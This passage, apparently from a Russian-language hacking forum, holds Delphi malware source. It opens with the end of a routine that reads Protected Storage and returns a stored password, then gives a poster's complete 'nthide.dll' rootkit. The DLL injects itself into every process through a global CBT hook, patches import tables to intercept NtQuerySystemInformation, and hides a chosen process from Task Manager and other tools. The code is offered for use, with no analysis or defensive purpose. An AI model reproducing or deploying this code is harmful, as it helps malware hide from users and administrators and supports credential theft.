if not(InitLib) then exit; //подгружаем dll
if not(PStorageConnect) then exit; //соединяемся
ExpandPSProvider; //получаем данные
//Завершаем работу..
FProvider:=nil;
FreeLibrary(FLibrary);
result:=pass;
end;

end.

[Knight_of_Darkness]

nthide.dll - для сокрытия процессов в WinXP



library hide;
uses
Windows,
SysUtils,
ImageHlp,
TlHelp32;
type SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
);
_IMAGE_IMPORT_DESCRIPTOR = packed record
case Integer of
0:(
Characteristics: DWORD);
1:(
OriginalFirstThunk:DWORD;
TimeDateStamp:DWORD;
ForwarderChain: DWORD;
Name: DWORD;
FirstThunk: DWORD);
end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;
PFARPROC=^FARPROC;
procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var ulSize: ULONG;
pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
pszModName: PChar;
pThunk: PDWORD; ppfn:PFARPROC;
ffound: LongBool;
written: DWORD;
begin
pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
if pImportDesc = nil then exit;
while pImportDesc.Name<>0 do
begin
pszModName := PChar(hmodCaller + pImportDesc.Name);
if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
Inc(pImportDesc);
end;
if (pImportDesc.Name = 0) then exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
while pThunk^<>0 do
begin
ppfn := PFARPROC(pThunk);
fFound := (ppfn^ = pfnCurrent);
if (fFound) then
begin
VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXE CUTE_READWRITE,written);
WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
exit;
end;
Inc(pThunk);
end;
end;
var
addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
fname: PCHAR;
mapaddr: PDWORD;
hideOnlyTaskMan: PBOOL;
function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass, SystemProcessesAndThreadsInformation
jne quit
onceagain:
mov esi, SystemInformation
getnextpidstruct:
mov ebx, esi
cmp dword ptr [esi],0
je quit
add esi, [esi]
mov ecx, [esi+44h]
cmp ecx, mypid
jne getnextpidstruct
mov edx, [esi]
test edx, edx
je fillzero
add [ebx], edx
jmp onceagain
fillzero:
and [ebx], edx
jmp onceagain
quit:
mov Result, eax
end
procedure InterceptFunctions;
var hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getM oduleHandle('ntdll.dll'),'NtQuerySystemInformation ');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMOD ULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
try
ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySy stemInformation,@MyNtQuerySystemInfo,me32.hModule) ;
until not Module32Next(hSnapShot,me32);
finally
CloseHandle(hSnapShot);
end;
end;
procedure UninterceptFunctions;
var hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getM oduleHandle('ntdll.dll'),'NtQuerySystemInformation ');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMOD ULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
try
ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySyst emInfo,addr_NtQuerySystemInformation,me32.hModule) ;
until not Module32Next(hSnapShot,me32);
finally
CloseHandle(hSnapShot);
end;
end;
var HookHandle: THandle;
function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
Result:=0;
end;
procedure InstallHook; stdcall;
begin
HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;
var hFirstMapHandle:THandle;
function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var addrMap: PDWORD;
ptr2: PBOOL;
begin
mypid:=0;
result:=false;
hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,P AGE_READWRITE,0,8,'NtHideFileMapping');
if hFirstMapHandle=0 then exit;
addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WR ITE,0,0,8);
if addrMap=nil then
begin
CloseHandle(hFirstMapHandle);
exit;
end;
addrMap^:=pid;
ptr2:=PBOOL(DWORD(addrMap)+4);
ptr2^:=HideOnlyFromTaskManager;
UnmapViewOfFile(addrMap);
InstallHook;
result:=true;
end;
exports
HideProcess;
var
hmap: THandle;
procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
UninterceptFunctions()
else
CloseHandle(hFirstMapHandle);
end;
begin
hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideF ileMapping');
if hmap=0 then exit;
try
mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
if mapaddr=nil then exit;
mypid:=mapaddr^;
hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
if hideOnlyTaskMan^ then
begin
fname:=allocMem(MAX_PATH+1);
GetModuleFileName(GetModuleHandle(nil),fname,MAX_P ATH+1);
if not (ExtractFileName(fname)='taskmgr.exe') then exit;
end;
InterceptFunctions;
finally
UnmapViewOfFile(mapaddr);
CloseHandle(Hmap);
DLLProc:=@LibraryProc;
end;
end.